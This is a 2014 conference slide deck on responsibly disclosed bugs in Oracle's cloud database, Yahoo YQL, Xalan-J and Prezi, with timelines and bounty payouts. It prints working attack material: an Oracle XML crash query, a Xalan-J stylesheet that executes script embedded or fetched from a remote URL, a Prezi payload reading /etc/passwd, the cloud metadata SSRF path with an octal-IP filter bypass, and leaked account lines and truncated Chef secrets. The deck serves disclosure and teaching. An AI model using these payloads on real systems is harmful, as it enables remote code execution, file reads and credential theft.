Lurking in Clouds

Easy hacks for complex apps

Insomni'hack 2014

21/03/2014
Me

• Nicolas Grégoire
• Agarri_FR on Twitter

• Bio is online:
  http://insomnihack.ch/conferences/
Content

- No assembly code, no client-side stuff
- Hacker thinking
- So many FAILS
- And of course a few WINS
- Plenty of quotes
- Some precise facts:
  - Timeline
  - Money
Targets

- Oracle
- YQL
- Xalan-J
- Prezi
“To the best of our knowledge, an Oracle database hasn't been broken into for a couple of decades by anybody [...] It's so secure, there are people that complain”
Oracle in 2014

Oracle CSO
Mary Ann Davidson

“As Oracle runs Oracle Corporation on Oracle products, Oracle has a built-in incentive to write and deliver secure code.”
Oracle's Database Cloud Service

The Database Cloud Service provides three storage levels: Database S5, S20, and S50. These offerings provide a development environment for Application Express, Java, and RESTful Web Services. These are fully Oracle managed schema services with no SQL*Net access or administrative control.

<table>
<thead>
<tr>
<th>Schema-based Isolation</th>
<th>Applications in the Cloud</th>
<th>Fully Managed Offering</th>
<th>Storage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Each Service gets a dedicated database schema</td>
<td>Access Oracle Database schema from Application Express or Java in the Cloud</td>
<td>All database management included, no customer direct database management</td>
<td>Choose between three storage levels; all other resources expand to serve your needs</td>
</tr>
</tbody>
</table>

**SQL and PL/SQL**
Use SQL and PL/SQL to expand and extend your Cloud applications.

**RESTful Web Services**
Applications outside the Oracle Cloud use RESTful Web Services for access over HTTPS.

**Complete Environment**
Includes full development tooling and deployment capabilities via Oracle Application Express (APEX).
Fully managed?

- Version 11.2.0.4.0 released in August 2013
- Even my old CVE-2013-3751 should work...
select * from dual where xmltype(q'{
    <aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
    ccccccccccccccccccccccccccccccccccccccccccccc
    ddddddddddddddddddddddddddddddddddddddddddddd
    eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
    fffffffffffffffffffffffffffffffffffffffffffffffff
    hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
    iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
    foo="bar[a &lt; b"]" />
'}) like 'Own3d_again';
CVE-2013-3751

select * from dual where xmltype(q'\{<aa\>}' like 'Own3d_again';

Service Unavailable

We're sorry, our service is temporarily unavailable.

Please try your request again at a later time.
Timeline

- January 2012: Vulnerability found (fuzzing)
- February 2012: Vulnerability reported to ZDI
- March 2012: Vulnerability contracted $500
- November 2012: Reported to Oracle by ZDI
- July 2013: Patch published by Oracle
- March 2014: Oracle's Cloud still not patched
Yahoo Query Language

• SQL-like syntax
  – SELECT foo FROM bar WHERE x=123

• Features
  – Access to 3rd-party data (craigslist.search, ...)
  – Access to public Yahoo data (local.search, ...)
  – Access to Yahoo services (ymail.messages, ...)
  – Processing (xml, xslt, feednormalizer, ...)
  – Near-arbitrary HTTP requests (uri.data, xmlpost, ...)
XXE everywhere

- Tables “xslt” (x2) and “feednormalizer” (x1)
- Open Data table definition (x1)

- Reachable from:
  - Yahoo Pipes
  - YQL console
  - REST interface
Dumb anti-SSRF blacklist

• Forbidden:
  − Local and multicast IP addresses
  − Non HTTP ports

• Easy to bypass using HTTP redirects  WIN!

• Bug closed as WONTFIX :-(

“*We are aware of this functionality on our site and it is working as designed*”
WONTFIX? Read that first!

• Basic:
  – http://cwe.mitre.org/data/definitions/918.html

• Advanced:
  – http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities
  – http://raz0r.name/other/zeronights-hackquesterssma-task-writeup/
  – http://www.youtube.com/watch?v=eHSNT8vWLfc
  – https://github.com/pwntester/RSA_RESTing
Timeline

- Nov. 2013: 4 XXE bugs reported
- Dec. 2013: All of them are patched
- Jan. 2014: First Paypal transfer $1745.25
- Feb. 2014: Second Paypal transfer $2403.75
- Feb. 2014: Anti-SSRF blacklist bypass reported
- Feb. 2014: Bypass closed as WONTFIX
JAXP >= 1.3

- FEATURE_SECURE_PROCESSING=TRUE

- Instructs JAXP-compliant XML parsers to behave in a secure fashion
  - XSLT extension functions are disabled (RCE)
  - DTD are forbidden (XXE, XEE)
  - Limitations on DOM and SAX Parsers (DoS)
Xalan-J and JAXP

“Xalan-Java applies the following limits when the secure processing feature is set to true:

- extension functions and extension elements are disabled
- parsers created by the XSLT processors will also have the secure processing feature set to true”
First shoots

• Java bridge (builtin):
  – '{http://xml.apache.org/xalan/java/java.util.Date}new' can not be invoked when the FEATURE_SECURE_PROCESSING feature is set to true  FAIL!

• File creation (builtin):
  – Use of the extension element 'redirect:write' is not allowed when the secure processing feature is set to true  FAIL!

• My own extensions (Apache BSF + Rhino/Jython/Xalan-J/...):
  – Use of the extension element 'pwn:elem' is not allowed when the secure processing feature is set to true  FAIL!
  – Extension function: '{MyPwn}func' can not be invoked when the XMLConstants.FEATURE_SECURE_PROCESSING feature is set to true  FAIL!
Recap

- Xalan-J 2.7.1 (latest)
- SECURE_PROCESSING is set to TRUE
- In $CLASSPATH
  - Apache Bean Scripting Framework
  - At least one scripting language
    - May be available: Rhino, Jython, ...
    - Always available: Xalan-J (the initial vector :-)
- Can't call extensions functions nor elements
Recap

- Xalan-J 2.7.1 (latest)
- SECURE_PROCESSING is set to TRUE
- In $CLASSPATH
  - Apache Bean Scripting Framework
  - At least one scripting language
    - May be available: Rhino, Jython, ...
    - Always available: Xalan-J (the initial vector :-)
- Can't call extensions functions nor elements
So *DON'T* call me, maybe?

- Don't call anything from your XSLT stylesheet
- Do everything in `<xalan:script>`
  - Define functions and call them
  - Or use the “src” attribute (if outbound access)
- Full blown RCE! *WIN!*
PoC #1

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:xalan="http://xml.apache.org/xalan"
                xmlns:foo="bar" version="1.0">

  <xalan:component prefix="foo">
    <xalan:script lang="(xslt | jython | ...)">
      <![CDATA[
        ...
        Whatever you want to execute
        ...
      ]]>  
  </xalan:script>

</xalan:component>

</xsl:stylesheet>
PoC #2

```xml
<xsl:stylesheet
 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 xmlns:xalan="http://xml.apache.org/xalan"
 xmlns:foo="bar" version="1.0">
  <xalan:component prefix="foo">
    <xalan:script
      lang="(xslt | jython | ...)"
      src="http://somewhere/woops.png" />
  </xalan:component>
</xsl:stylesheet>
```
Xalan-J (in)secure mode

- Even if Apache BSF isn't available…
  - Leak of Java properties via system-property()
  - Unrestricted output properties
    - SSRF, partial file read (xalan:entities)
    - Call to arbitrary constructors (xalan:content-handler)
Timeline

- March 2008: Ticket #2435 (output properties)
- August 2013: RCE bug found during a pentest
- August 2013: Detailed report sent to ASF
- Sept. 2013: Fwd by ASF to the Xalan-J team
- Feb. 2014: Still no patch, add oCERT to the loop
- March 2014: oCERT coordinated disclosure
  CVE-2014-0107
“If you do mention the lack of response from the Xalan-J team (and I can understand why you may wish to mention it) please make sure that you are clear that it is the Xalan-J team that has failed to respond rather than the ASF as a whole.”
What is Prezi?

- Zooming presentation software
  - Cloud-based
  - Uses Flash >= 11.1

- Bug bounty
  - Started in October 2013
  - http://prezi.com/bugbounty/
Two editors

- Online web application (FREE)
  - Allows to create and edit presentations from a browser
  - Interacts with a bunch of “*.prezi.com” servers

- Client-side application (PRO)
  - Allows to work offline and selectively sync with the cloud
  - Out of scope (no Pro version at that time)
More text!

Some basic text
Basic I/O

- Setup Burp Suite as a proxy
- Connect to the site
- Create an empty presentation
- Add a simple text field
- Save the presentation
- Review Burp logs
Basic I/O

• Saving the presentation sends a POST request to xxx.static.prezi.com

• Parameters
  – Numerous cookies
  – One single POST parameter
  – Name = “b64%5Fzipped%5Fxml%5Fcontent”

• Some XML data!!! Love it!!
  – XML = zlibDecompress(base64Decode(urlDecode(VALUE))))
Basic I/O
Burp magic

- “PUSH” extension
  - Used when the presentation is saved
  - Add an editor tab if the parameter is detected
  - Decode its value and display it
  - Re-encode if the value was modified

- “PULL” extension
  - Used when an existing presentation is opened
  - Similar to previous one, but read-only
<zuprezi>
  <version>7</version>
  <zui-table>
    <settings>
      <autoplay>
        <delay>4000</delay>
      </autoplay>
      <bounds x="-6673.137984254578" y="-6648.69177352234" width="13346.2759662"
      <aspectratio>off</aspectratio>
      <languages>
        <language>en</language>
      </languages>
      <mode type="normal"/>
    </settings>
    <object id="0_24309637" type="button" x="-24.446210732238907" y="0" r="0"
      <type>circle</type>
      <size>
        <w>800</w>
        <h>800</h>
      </size>
    </object>
  </zui-table>
</zuprezi>
Burp magic

- Life is now much easier
  - Thanks to the Burp extensions

- Let's do some XML hacking!
XML hacking

- Try to add a non malicious DTD => OK
- Try to add an external XML entity => KO
- Try to bypass their blacklist (UTF-8, ...) => KO

- **FAIL!** Let's try something else...
Inserting a symbol

1. Click on the "Insert" tab.
2. In the dropdown menu, select "Symbols & shapes...".

Example: A yellow star is inserted into the slide.
Inserting a symbol
Loading a symbol

- Modify `<url>` to point to a file you control
- The web editor will load the remote resource
- But everything is done client-side **FAIL!**

- Maybe we can find a way to instruct Prezi servers to retrieve our external content
- For example using the exporting features
More text!

Some basic text

More text!
Export as PDF

- Library “AlivePDF” is used

![AlivePDF](image)

AlivePDF is an open-source ActionScript 3 (Flash, Flex, AIR) PDF generation library ported from the FPDF PHP project. It allows you to generate PDF's 100% client-side.

AlivePDF is licensed under the MIT License. In other words, you can do whatever you want with it 😊

- Everything is done client-side :-(
- **FAIL!** Let's try something else...
Vous avez choisi d'ouvrir :

some-basic-text-gzhu0nwatvyy.zip
qui est un fichier de type : archive zip (54,5 Mo)
à partir de : https://s3.amazonaws.com

Que doit faire Firefox avec ce fichier ?

- Ouvrir avec Gestionnaire d'archives (défaut)
- Enregistrer le fichier
- Toujours effectuer cette action pour ce type de fichier.
Export as Portable Prezi

- Got a hit on my server! WIN!
- User-Agent: “Python-urllib/2.6”
- When the export is finished, a ZIP archive including any external resource is available on Amazon S3
Export as Portable Prezi

<table>
<thead>
<tr>
<th>Request Method</th>
<th>Request URI</th>
<th>Response URI</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td><a href="https://prezi.com">https://prezi.com</a></td>
<td>/backend/export/eq54nnaolzm.zip/</td>
</tr>
<tr>
<td>OPTIONS</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>/api/v1/job/</td>
</tr>
<tr>
<td>POST</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>OPTIONS</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>POST</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>OPTIONS</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>POST</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>POST</td>
<td><a href="https://prezi.com">https://prezi.com</a></td>
<td>/desktop/log_event/download_prezi/</td>
</tr>
<tr>
<td>POST</td>
<td><a href="https://prezi.com">https://prezi.com</a></td>
<td>/desktop/log_event/download_prezi/</td>
</tr>
</tbody>
</table>

HTTP/1.1 200 OK
Content-Language: en
Content-Type: application/json
Date: Fri, 22 Nov 2013 00:02:11 GMT
Server: ngx_openresty/1.2.8.6
Vary: Accept-Language, Cookie
X-Frame-Options: SAMEORIGIN
Content-Length: 779
Connection: keep-alive

{"conversion_token":{"url": "https://conversionservice.prezi.com/api/v1/job/", "header": "MAC id="}
Export as Portable Prezi

<table>
<thead>
<tr>
<th>Code</th>
<th>URL</th>
<th>Method</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>5121</td>
<td><a href="https://prezi.com">https://prezi.com</a></td>
<td>POST</td>
<td>/backend/export/eq5nnaodlznm/zip/</td>
</tr>
<tr>
<td>5122</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>OPTIONS</td>
<td>/api/v1/job/</td>
</tr>
<tr>
<td>5123</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>POST</td>
<td>/api/v1/job/</td>
</tr>
<tr>
<td>5124</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>OPTIONS</td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>5125</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>POST</td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>5126</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>OPTIONS</td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>5127</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>POST</td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>5128</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>OPTIONS</td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>5129</td>
<td><a href="https://conversionservice.prezi.com">https://conversionservice.prezi.com</a></td>
<td>POST</td>
<td>/api/v1/job/715693a5-a3d8-4e00-851a-1f53c0d04a12/</td>
</tr>
<tr>
<td>5130</td>
<td><a href="https://prezi.com">https://prezi.com</a></td>
<td>POST</td>
<td>/desktop/log_event/download_prezi/</td>
</tr>
<tr>
<td>5133</td>
<td><a href="https://prezi.com">https://prezi.com</a></td>
<td>POST</td>
<td>/desktop/log_event/download_prezi/</td>
</tr>
</tbody>
</table>

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://prezi.com
Cache-Control: max-age=0
Content-Security-Policy-Report-Only: script-src 'none'; img-src 'none'; media-src 'none'; style-src 'none';
Content-Type: application/json
Date: Fri, 22 Nov 2013 00:02:33 GMT
Expires: Fri, 22 Nov 2013 00:02:33 GMT
Last-Modified: Fri, 22 Nov 2013 00:02:33 GMT
Server: nginx_openresty/1.2.8.6
Content-Length: 241
Connection: keep-alive

{"status": 5, "success": true, "format": "export", "url": "https://s3.amazonaws.com/0103.static.p"}
Python urllib

- Accessing local files is tempting
  - But unsafe redirects are not supported
    - No HTTP redirect from http:// to file://

- Scanning internal networks is possible
  - But forbidden by the bounty rules
  - Btw, there's no internal network

- FAIL! Let's try something else...
Keep It Simple, Stupid

- Point to a local file
  - No HTTP redirect
- Export as Portable Prezi
- Open the ZIP
- Browse to “data/content/repo/[RSRC_ID]”

WIN!
Access to local files

nagios:x:109:118::/var/lib/nagios:/bin/false
stunnel4:x:110:119:stunnel:/var/run/stunnel4:/bin/false
publisher:x:1018:100:Prezi Publisher:/home/publisher:/bin/bash

mzagon:x:1022:100:Mihaly ZAGON:/home/mzagon:/bin/bash
kepten:x:1023:100:Robert KISS:/home/kepten:/bin/bash
zsellera:x:1024:100:Attila ZSELLER:/home/zsellera:/bin/bash
PoC

...<object>
  <source>
    666031337
    <url>file://etc/passwd</url>
  </source>
  <sourceUrl>blabla.swf</sourceUrl>
</object>

...
Prezi's feedback

We finished our investigation [...] and we think that with some hacking this vulnerability can be exploited pretty badly, e.g. an attacker would be able to gain access to some critical credentials, therefore [...] we would like to reward you with a $2000 bounty.
Prezi's actions

• Setup a white-list
  – Only URL matching “http://” are authorized

• No additional network filtering
  – But no internal networks reachable from AWS
Recap

● URL
  – Fully controlled by the attacker
  – Stored server-side in a <zuiprezi> document

● Content
  – Retrieved with Python urllib 2.6
  – Stored in a publicly reachable ZIP archive

● Limitations
  – Provided URL must use the “http://” scheme

● Processing
  – Done on Amazon EC2
This export feature still has a *huge* hole
Any idea?
Hint #1

- RFC 3927
- Describes the 169.254/16 network
  - Dynamic Configuration of IPv4 Link-Local Addresses
  - “IPv4 Link-Local addresses [...] are only used where stable, routable addresses are not available (such as on ad hoc or isolated networks)”
Hint #2

- Using AWS EC2 or OpenStack is a key factor
- Auto-scaling is important too

Links
- http://docs.openstack.org/admin-guide-cloud/content/section_metadata-service.html
169.254.169.254

Your new friend ;-)  

- Metadata Web server, used by a VM to retrieve its own instance-specific data
  - /latest/meta-data/hostname (AWS)
  - /openstack/latest/meta_data.json (OpenStack)
Typical auto-scaling workflow

- Trigger a scaling threshold
- Start a new VM instance
- After booting, the VM fetches its own user-data
  - Usually a shell script
- Script execution
  - Get latest configuration files and source code
  - Download and setup everything needed
  - Integrates a pool of VM
Prezi headshot

- Uses the SSRF vulnerability to retrieve the startup script stored at /latest/user-data/ on the metadata server **WIN!**

- Bash script (150+ lines)
  - Creates critical files
    - /etc/chef/client.rb
    - /etc/chef/validation.pem
    - /etc/chef/encrypted_data_bag_secret
Prezi headshot

/etc/chef/client.rb
chef_server_url "https://api.opscode.com/organizations/prezi"
validation_client_name "prezi-validator"

/etc/chef/validation.pem
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA09U/TBxe [...]iRLSo6sJTJm6RClk6qZqRxM7UCbBw=
-----END RSA PRIVATE KEY-----

/etc/chef/encrypted_data_bag_secret
gqrnkG+M/t/1/3KhCzRNEiMBL [...]IohHq2lii/P8fS21aZJkXYmHyKdMJ2qo=
Chef?

• According to Wikipedia
  – “Chef is a configuration management tool [...] used to streamline the task of configuring & maintaining a company's servers [...] can integrate with cloud-based platforms such as Rackspace and Amazon EC2 to automatically provision and configure new machines.”

• According to Chef documentation
  – “Anyone in possession of a client’s private key can do anything on your Hosted Chef account that the client is authorized to do, so be sure to protect you clients’ private keys”
  – http://docs.opscode.com/manage_server_hosted_clients.html
Prezi's feedback

[...] this exploitation has the same root cause as your previous local file access, however the attack path is different and [...] your submission gave some nice ideas where to improve ourselves, therefore we would like to offer you $2000 for this issue as well. Congratz! :)
Prezi's actions

• Add a black-list
  – Private IP addresses are forbidden (using IPy)
    • Impedance mismatch? Yes, using octal format!
    • Bypass: 0251.0376.0251.0376  WIN! $500

• Detect and manage HTTP redirects
  – Black-list applied to the final destination

• Chef secrets moved to the AMI itself
  – Referenced from the user-data script
  – Readable only by root

• Renewal of every Chef key
  – Wasn't an easy step
Timeline

Bug #1

- Nov 24th: bug reported
- Nov 25th: fix deployed
- Nov 31st: bounty awarded $2000
- Dec 17th: wire transfer received

Bug #2

- Dec 3rd: bug reported
- Dec 3rd: 1st fix (IP validation) deployed
- Dec 4rd: 2nd fix (no redirect) deployed
- Dec 18th: bounty awarded $2000
- Dec 27th: wire transfer received

• A few hours between notification and fix!
Targets

- ORACLE
- YQL
- Xalan-JXSLT
- Prezi
Conclusion

I earned $9149
And it was fun!
Conclusion

- **Oracle**
  - Very fragile XML parser (did I speak about XSLT?)
  - Do not patch their own production systems

- **Yahoo**
  - Difficulties to reproduce bugs (but money is OK)
  - May be pwned because of the anti-SSRF bypass

- **Xalan-J**
  - Hard to convince, many thanks to oCERT + ASF Sec Team

- **Prezi**
  - Awesome security team (look for their blog posts)
  - I'll try to challenge them again!
Lurking in Clouds

Easy Hacks for Complex Apps

Insomni'hack 2014

AGARI

21/03/2014